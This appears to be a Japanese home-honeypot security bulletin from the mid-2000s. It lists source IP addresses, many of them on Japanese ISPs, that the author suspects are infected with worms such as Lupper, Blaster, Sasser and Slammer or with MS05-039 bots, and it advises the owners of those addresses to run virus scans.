218.42.243.146 K-OPTICOM 218-42-243-146.eonet.ne.jp
218.42.243.216 K-OPTICOM 218-42-243-216.eonet.ne.jp
218.42.243.236 K-OPTICOM 218-42-243-236.eonet.ne.jp
218.42.243.252 K-OPTICOM 218-42-243-252.eonet.ne.jp
218.42.244.78 K-OPTICOM 218-42-244-78.eonet.ne.jp
218.42.246.51 K-OPTICOM 218-42-246-51.eonet.ne.jp
218.42.246.80 K-OPTICOM 218-42-246-80.eonet.ne.jp
218.42.249.82 K-OPTICOM 218-42-249-82.eonet.ne.jp
218.228.135.172 K-OPTICOM 218-228-135-172.eonet.ne.jp
218.228.225.132 K-OPTICOM 218-228-225-132.eonet.ne.jp
218.251.35.249 K-OPTICOM 218-251-35-249.eonet.ne.jp
211.14.10.161 LAC-NET
218.45.41.112 MCTV-NET f041112.mctv.ne.jp
61.203.230.163 M-NET 163.061203230.m-net.ne.jp
218.45.20.66 NETFOREST 218-45-20-66.flets.kamome.or.jp
218.45.20.123 NETFOREST 218-45-20-123.flets.kamome.or.jp
219.123.39.114 N-TK0026-131 219x123x39x114.ap219.ftth.ucom.ne.jp
60.40.182.203 OCN p5203-ipad36niho.hiroshima.ocn.ne.jp
60.44.101.182 OCN p6182-ipad05kouchinwc.kochi.ocn.ne.jp
61.214.108.226 OCN p4226-ip02gifu.gifu.ocn.ne.jp
211.129.68.158 OCN p1030-dng13hon.tokyo.ovcs.ocn.ne.jp
218.43.4.217 OCN p5217-ipad02niigatani.niigata.ocn.ne.jp
218.43.5.36 OCN p6036-ipad02niigatani.niigata.ocn.ne.jp
218.43.5.106 OCN p6106-ipad02niigatani.niigata.ocn.ne.jp
218.43.30.35 OCN p3035-ipad01okidate.aomori.ocn.ne.jp
218.43.37.95 OCN p3095-ipbf409marunouchi.tokyo.ocn.ne.jp
218.43.40.95 OCN p2095-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.40.198 OCN p2198-ipbf410marunouchi.tokyo.ocn.ne.jp
218.43.43.47 OCN p1047-ipbf411marunouchi.tokyo.ocn.ne.jp
218.43.43.166 OCN p1166-ipbf411marunouchi.tokyo.ocn.ne.jp
218.43.46.22 OCN p4022-ipbf411marunouchi.tokyo.ocn.ne.jp
218.43.49.207 OCN p3207-ipbf412marunouchi.tokyo.ocn.ne.jp
218.43.73.239 OCN p3239-ipad01koufu.yamanashi.ocn.ne.jp
218.43.131.148 OCN p1148-ipad12sasajima.aichi.ocn.ne.jp
218.43.132.28 OCN p2028-ipad12sasajima.aichi.ocn.ne.jp
218.43.135.2 OCN p5002-ipad12sasajima.aichi.ocn.ne.jp
218.43.136.11 OCN p6011-ipad12sasajima.aichi.ocn.ne.jp
218.43.139.136 OCN p3136-ipad13sasajima.aichi.ocn.ne.jp
218.43.148.101 OCN p3101-ipad02matuyama.ehime.ocn.ne.jp
218.43.152.166 OCN p3166-ipad01kagawa.kagawa.ocn.ne.jp
218.43.155.191 OCN p1191-ipad02yamaguchi.yamaguchi.ocn.ne.jp
218.43.161.97 OCN p3097-ipad01kanazawa.ishikawa.ocn.ne.jp
218.43.163.53 OCN p5053-ipad01kanazawa.ishikawa.ocn.ne.jp
218.43.168.69 OCN p4069-ipad03fukuokachu.fukuoka.ocn.ne.jp
218.43.171.210 OCN p1210-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.173.231 OCN p3231-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.174.1 OCN p4001-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.176.91 OCN p6091-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.176.94 OCN p6094-ipad02sinnagasak.nagasaki.ocn.ne.jp
218.43.179.64 OCN p2064-ipad02obiyama.kumamoto.ocn.ne.jp
218.43.181.206 OCN p4206-ipad02obiyama.kumamoto.ocn.ne.jp
218.43.191.63 OCN p3063-ipad01tottori.tottori.ocn.ne.jp
218.43.206.140 OCN p1140-ipad11sasajima.aichi.ocn.ne.jp
218.43.209.8 OCN p4008-ipad11sasajima.aichi.ocn.ne.jp
218.43.209.99 OCN p4099-ipad11sasajima.aichi.ocn.ne.jp
218.43.211.139 OCN p6139-ipad11sasajima.aichi.ocn.ne.jp
218.43.213.20 OCN p2020-ipad02gifu.gifu.ocn.ne.jp
218.43.216.218 OCN p5218-ipad02gifu.gifu.ocn.ne.jp
218.43.224.17 OCN p3017-ipad01kouchinwc.kochi.ocn.ne.jp
218.43.224.236 OCN p3236-ipad01kouchinwc.kochi.ocn.ne.jp
218.43.229.101 OCN p3101-ipad03niho.hiroshima.ocn.ne.jp
218.43.234.168 OCN p5168-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.234.196 OCN p5196-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.235.33 OCN p6033-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.235.149 OCN p6149-ipad01sinnagasak.nagasaki.ocn.ne.jp
218.43.237.167 OCN p5167-ipad01oomichi.oita.ocn.ne.jp
218.43.238.154 OCN p4154-ipad01miyazaki.miyazaki.ocn.ne.jp
218.43.238.164 OCN p4164-ipad01miyazaki.miyazaki.ocn.ne.jp
218.224.28.103 OCN p7103-ipad01fukuhanazo.fukushima.ocn.ne.jp
218.230.219.66 OCN p5066-ipad01okayamaima.okayama.ocn.ne.jp
220.105.153.60 OCN p1060-ipbf04otsu.shiga.ocn.ne.jp
221.187.234.56 OCN p2056-ipbf12okayamaima.okayama.ocn.ne.jp
222.149.239.113 OCN p4113-ipbf710marunouchi.tokyo.ocn.ne.jp
218.46.103.113 ODN EATcf-573p113.ppp15.odn.ne.jp
218.46.189.9 ODN EATcf-296p9.ppp15.odn.ne.jp
60.35.162.133 PLALA i60-35-162-133.s02.a022.ap.plala.or.jp
218.44.17.116 PLALA i218-44-17-116.s02.a016.ap.plala.or.jp
218.44.20.171 PLALA i218-44-20-171.s05.a028.ap.plala.or.jp
218.44.21.37 PLALA i218-44-21-37.s05.a028.ap.plala.or.jp
218.44.31.2 PLALA i218-44-31-2.s04.a013.ap.plala.or.jp
218.44.31.88 PLALA i218-44-31-88.s04.a013.ap.plala.or.jp
218.44.31.131 PLALA i218-44-31-131.s04.a013.ap.plala.or.jp
218.44.32.209 PLALA i218-44-32-209.s04.a013.ap.plala.or.jp
218.44.35.10 PLALA i218-44-35-10.s04.a013.ap.plala.or.jp
218.44.35.65 PLALA i218-44-35-65.s04.a013.ap.plala.or.jp
218.44.39.144 PLALA i218-44-39-144.s05.a013.ap.plala.or.jp
218.44.39.230 PLALA i218-44-39-230.s05.a013.ap.plala.or.jp
218.44.68.169 PLALA i218-44-68-169.s02.a035.ap.plala.or.jp
218.44.69.148 PLALA i218-44-69-148.s02.a035.ap.plala.or.jp
218.44.70.9 PLALA i218-44-70-9.s02.a035.ap.plala.or.jp
218.44.79.54 PLALA i218-44-79-54.s01.a021.ap.plala.or.jp
218.44.82.144 PLALA i218-44-82-144.s02.a017.ap.plala.or.jp
218.44.88.15 PLALA i218-44-88-15.s02.a030.ap.plala.or.jp
218.44.93.94 PLALA i218-44-93-94.s02.a035.ap.plala.or.jp
218.44.95.169 PLALA i218-44-95-169.s02.a037.ap.plala.or.jp
218.44.98.43 PLALA i218-44-98-43.s02.a039.ap.plala.or.jp
218.44.100.7 PLALA i218-44-100-7.s02.a038.ap.plala.or.jp
218.44.101.148 PLALA i218-44-101-148.s02.a041.ap.plala.or.jp
218.44.101.223 PLALA i218-44-101-223.s02.a041.ap.plala.or.jp
218.44.102.213 PLALA i218-44-102-213.s02.a042.ap.plala.or.jp
218.44.104.32 PLALA i218-44-104-32.s01.a044.ap.plala.or.jp
218.44.105.2 PLALA i218-44-105-2.s02.a044.ap.plala.or.jp
218.44.105.26 PLALA i218-44-105-26.s02.a044.ap.plala.or.jp
218.44.105.166 PLALA i218-44-105-166.s02.a044.ap.plala.or.jp
218.44.106.189 PLALA i218-44-106-189.s02.a045.ap.plala.or.jp
218.44.108.250 PLALA i218-44-108-250.s01.a043.ap.plala.or.jp
218.44.109.170 PLALA i218-44-109-170.s02.a043.ap.plala.or.jp
218.44.111.4 PLALA i218-44-111-4.s02.a046.ap.plala.or.jp
218.44.111.60 PLALA i218-44-111-60.s02.a046.ap.plala.or.jp
218.44.111.135 PLALA i218-44-111-135.s02.a046.ap.plala.or.jp
218.44.112.143 PLALA i218-44-112-143.s02.a047.ap.plala.or.jp
218.44.112.217 PLALA i218-44-112-217.s02.a047.ap.plala.or.jp
218.44.113.7 PLALA i218-44-113-7.s02.a047.ap.plala.or.jp
218.44.113.231 PLALA i218-44-113-231.s02.a047.ap.plala.or.jp
218.44.115.44 PLALA i218-44-115-44.s02.a006.ap.plala.or.jp
218.44.116.34 PLALA i218-44-116-34.s02.a013.ap.plala.or.jp
218.44.117.130 PLALA i218-44-117-130.s02.a015.ap.plala.or.jp
218.44.119.196 PLALA i218-44-119-196.s02.a002.ap.plala.or.jp
218.44.120.156 PLALA i218-44-120-156.s02.a006.ap.plala.or.jp
218.44.121.11 PLALA i218-44-121-11.s02.a001.ap.plala.or.jp
218.44.121.153 PLALA i218-44-121-153.s02.a001.ap.plala.or.jp
218.44.123.245 PLALA i218-44-123-245.s02.a027.ap.plala.or.jp
218.44.124.202 PLALA i218-44-124-202.s02.a027.ap.plala.or.jp
218.44.126.28 PLALA i218-44-126-28.s02.a034.ap.plala.or.jp
218.44.126.125 PLALA i218-44-126-125.s02.a034.ap.plala.or.jp
218.47.28.232 PLALA i218-47-28-232.s02.a013.ap.plala.or.jp
218.47.101.111 PLALA i218-47-101-111.s04.a026.ap.plala.or.jp
218.47.113.193 PLALA i218-47-113-193.s02.a001.ap.plala.or.jp
218.47.152.61 PLALA i218-47-152-61.s02.a001.ap.plala.or.jp
218.47.153.199 PLALA i218-47-153-199.s02.a023.ap.plala.or.jp
218.47.205.182 PLALA i218-47-205-182.s02.a012.ap.plala.or.jp
218.47.222.198 PLALA i218-47-222-198.s02.a001.ap.plala.or.jp
218.47.234.227 PLALA i218-47-234-227.s01.a012.ap.plala.or.jp
218.224.188.66 PLALA i218-224-188-66.s02.a022.ap.plala.or.jp
218.224.188.132 PLALA i218-224-188-132.s02.a022.ap.plala.or.jp
218.224.189.245 PLALA i218-224-189-245.s02.a022.ap.plala.or.jp
219.164.0.173 PLALA i219-164-0-173.s02.a013.ap.plala.or.jp
220.221.47.102 PLALA i220-221-47-102.s02.a043.ap.plala.or.jp
222.150.168.27 PLALA i222-150-168-27.s02.a043.ap.plala.or.jp
218.41.1.38 SO-NET p290126.aicint01.ap.so-net.ne.jp
218.41.13.20 SO-NET p290d14.kyotnt01.ap.so-net.ne.jp
218.41.39.227 SO-NET p2927e3.szoknt01.ap.so-net.ne.jp
218.41.39.246 SO-NET p2927f6.szoknt01.ap.so-net.ne.jp
218.41.42.207 SO-NET p292acf.fksmnt01.ap.so-net.ne.jp
218.41.43.101 SO-NET p292b65.fksmnt01.ap.so-net.ne.jp
218.41.51.226 SO-NET p2933e2.tokynt01.ap.so-net.ne.jp
218.41.52.245 SO-NET p2934f5.tokynt01.ap.so-net.ne.jp
218.41.58.3 SO-NET p293a03.tokynt01.ap.so-net.ne.jp
218.41.62.25 SO-NET p293e19.tokynt01.ap.so-net.ne.jp
218.41.75.169 SO-NET p294ba9.kngwnt01.ap.so-net.ne.jp
218.41.87.97 SO-NET p295761.kmmtnt01.ap.so-net.ne.jp
218.41.87.106 SO-NET p29576a.kmmtnt01.ap.so-net.ne.jp
218.41.94.75 SO-NET p295e4b.miygnt01.ap.so-net.ne.jp
218.41.102.195 SO-NET p2966c3.tokynt01.ap.so-net.ne.jp
218.41.108.100 SO-NET p296c64.aicint01.ap.so-net.ne.jp
218.41.117.237 SO-NET p2975ed.kngwnt01.ap.so-net.ne.jp
218.41.118.218 SO-NET p2976da.kngwnt01.ap.so-net.ne.jp
218.41.119.149 SO-NET p297795.kngwnt01.ap.so-net.ne.jp
218.41.125.196 SO-NET p297dc4.t032ah00.ap.so-net.ne.jp
222.228.214.97 V-FLETS s97.HtokyoFL22.vectant.ne.jp

----------------------------
■PHPおよびAwstasts脆弱性に対する攻撃
----------------------------
PHPで利用される XML_RPCの脆弱性を利用した攻撃および、Awstasts(Webインターフェースを持つフリーのログ解析ツール)
に対する攻撃です。攻撃の内容を分析すると、Linux上で稼動しているApache PHPの組み合わせをターゲットにしたもので、
UNIX系のシステムをターゲットとした、ワームまたはボットによる攻撃で、感染が広がっている状況にあると考えられます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

・影響を受けるシステムについては、次の情報を参考にしてください。
XML-RPC PHP command execution（http://xforce.iss.net/xforce/xfdb/21194 ）
US-CERT Vulnerability Note VU#442845, Multiple PHP XML-RPC implementations vulnerable to code injection （http://www.kb.cert.org/vuls/id/442845 .）

・参考
XML RPC worm - New Variant - ELF_LUPPER.B (NEW)
http://isc.sans.org/diary.php?storyid=829
Linuxをねらう新ワーム「Lupper」--ウェブサーバの脆弱性を悪用
http://headlines.yahoo.co.jp/hl?a=20051108-00000008-cnet-sci

■感染ホスト
IPaddress 検知件

216.208.122.238

----------------------------
■MS05-039脆弱性に対する攻撃
----------------------------
プラグアンドプレイサービスは、デバイスのインストール、設定、および新規デバイスの通知を担当する
Windows DCE-RPC サービスです。最近のバージョンの Windowsオペレーティングシステムでは、このサービス
が自動的に起動し、デフォルト設定で動作します。この脆弱性を利用したbotワームも確認されております。
送信元IPアドレスは、恐らくbotワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

218.45.168.228	2
218.45.11.35	2
218.45.177.221	2
218.45.172.187	2
218.228.218.205	1
218.43.7.52	1
218.45.79.134	1
218.61.22.137	1
218.191.138.177	1
218.217.67.226	1
218.170.7.130	1
218.101.115.85	1
218.24.82.59	1
218.65.59.47	1
218.47.101.111	1
218.191.239.154	1
218.45.5.100	1
218.44.104.32	1
218.160.43.241	1
218.45.171.19	1
218.38.30.223	1
218.79.247.223	1
218.45.79.138	1
218.66.11.192	1
218.42.228.42	1
218.161.123.44	1
218.20.215.208	1
218.18.47.120	1
218.166.154.192	1
218.170.135.146	1
218.71.20.218	1
218.17.231.246	1
218.89.54.63	1
218.17.196.26	1
218.6.158.22	1
218.22.226.10	1
218.36.35.64	1
218.63.69.5	1
218.45.168.42	1
218.163.219.78	1
218.7.89.208	1
218.163.222.14	1
218.13.40.220	1
218.22.191.26	1
218.101.103.9	1

----------------------------
■botワームの検知状況
----------------------------
■検知内容
自宅ハニーポッドサーバに対する。botワームによる攻撃の検知状況についてお知らせします。このワームは、
アクセス可能なネットワーク共有、またはセキュリティが不十分なネットワーク共有で繁殖します。
以下の弱性を悪用します。
MS04-007

亜種のいくつかは、リモートのIRCサーバに接続して、特定のIRCチャネルに参加しようとします。接続すると、
ボットとして機能し、ハッカーからのリモートコマンドを待ちます。亜種によって機能はさまざまですが、
一般的には、他のリモートファイルをダウンロードして実行しようとします。

送信元IPアドレスは、恐らくbotワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

218.45.168.93	31
218.45.104.229	9
218.45.20.66	7
218.45.171.214	6
219.121.44.224	5
218.45.165.34	4
218.45.107.136	3
219.121.47.199	3
218.45.109.97	2
218.191.195.25	2
211.248.242.124	2
218.45.2.163	2
218.45.169.49	2
218.45.108.165	2
218.45.20.123	2
218.32.156.41	1
218.74.2.73	1
218.172.57.76	1
218.149.230.95	1
218.45.11.59	1
218.47.152.61	1
218.84.19.10	1
218.45.96.9	1
218.95.15.191	1
218.19.170.46	1
218.169.8.194	1
218.19.137.192	1
218.45.5.100	1
218.230.219.66	1
218.5.31.122	1
218.167.177.114	1
218.173.94.63	1
218.190.233.155	1
218.169.235.127	1
218.45.171.197	1
218.111.185.75	1
218.228.225.132	1
218.89.5.224	1
218.13.164.56	1
218.226.218.42	1
218.72.117.129	1
218.45.139.41	1
218.63.93.132	1
218.45.6.44	1
218.45.6.78	1
218.45.11.247	1
218.111.158.180	1
218.61.214.76	1
218.24.167.111	1
218.168.57.167	1
220.184.25.61	1
61.125.227.51	1
218.172.165.57	1
218.47.205.182	1
218.169.6.142	1
218.190.44.44	1
218.170.105.3	1
218.17.10.194	1
218.88.188.147	1
218.19.83.200	1
218.71.168.105	1
218.16.88.8	1
218.47.113.193	1
218.47.222.198	1
218.45.164.14	1
218.95.12.213	1
218.47.234.227	1
218.91.75.22	1
219.141.80.6	1
219.134.3.178	1
218.163.135.251	1
218.45.2.199	1
218.19.67.128	1
218.45.60.31	1
218.160.52.149	1
218.143.54.1	1
218.45.2.182	1
218.72.108.57	1
218.220.130.43	1
220.143.87.53	1
61.213.70.35	1
218.47.28.232	1
219.141.80.5	1
218.208.236.131	1
218.45.166.212	1
218.45.6.163	1
218.45.6.200	1
218.71.180.132	1
218.19.100.200	1
218.0.8.246	1
218.38.161.22	1
218.24.178.90	1
218.17.238.242	1
218.165.128.146	1
218.190.40.113	1
218.232.215.7	1
218.166.176.120	1

-------------------------------------
■Blaster(bot)ワームの検知状況
-------------------------------------
■検知内容
自宅ハニーポッドサーバに対して、Microsoft RPC サービスの脆弱点MS03-039に対する攻撃を検知しました。
送信元IPアドレスは、恐らくこの脆弱性を利用して拡散するBlaster(bot)ワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト　
IPaddress 検知件数

218.102.12.9	1
218.45.11.223	1
218.45.139.20	1

----------------------------
■Sasserワームの検知状況
----------------------------
■検知内容
自宅ハニーポッドサーバに対する。Sasserワームによる攻撃の検知状況についてお知らせします。Sasser.Worm は、マイクロソフトセキュリティ情報 MS04-011 で解説されている脆弱性の悪用を試みるワームです。このワームは、ランダムに選択された IP アドレスを持つコンピュータをスキャンすることによって、上述の脆弱性に未対応のシステムを探し出して拡散します。
送信元IPアドレスは、恐らくSasserワームに感染していると思われます。
自分の管理するグローバルIPアドレスが含まれている場合は、至急ウィルススキャンを実行して下さい。

■感染ホスト
IPaddress 検知件数

218.102.12.9	1
218.45.139.20	1
218.45.11.223	1

-------------------------------------
■Slammerワームの検知状況
-------------------------------------
■検知内容
自宅のハニーポッドサーバに対して、SQL Server2000のMS02-039脆弱性を利用した、攻撃を検知しました。送信元IPアドレスは、この脆弱性を利用して拡散を行う、Slammerワームに感染していると思われます。
読者の皆様は、以下のホスト一覧に、管理されているグローバルIPアドレスが含まれていないか確認をお願いいたします。含まれている場合は、至急ウィルススキャンなどを実施される事をお勧めいたします。

■脆弱性の詳細情報
http://www.microsoft.com/japan/technet/security/bulletin/MS02-039.mspx

■感染ホスト一覧
IPaddress 検知件数

60.191.129.114	3
68.142.217.140	3
219.138.207.29	3
61.189.170.72	2
61.130.254.109	2
212.203.29.2	2
218.31.102.84	2
151.200.37.99	2
202.101.233.108	1
65.37.97.110	1
202.103.207.139	1
218.25.253.18	1
211.140.234.190	1
202.103.95.137	1
222.173.187.45	1
202.101.70.43	1
61.139.60.190	1
219.153.125.139	1
61.183.36.134	1
130.241.141.155	1
219.146.78.59	1
218.7.208.69	1
222.11.237.247	1
4.21.164.81	1
172.164.66.67	1
218.65.14.3	1
4.245.203.156	1
81.44.177.31	1
216.110.91.28	1
61.136.144.100	1




ネットワーク・セキュリティ研究会, 牧野二郎, 金野志保, 西畠義昭, 梅澤拓, 城所岩生
ネット告発―企業対応マニュアル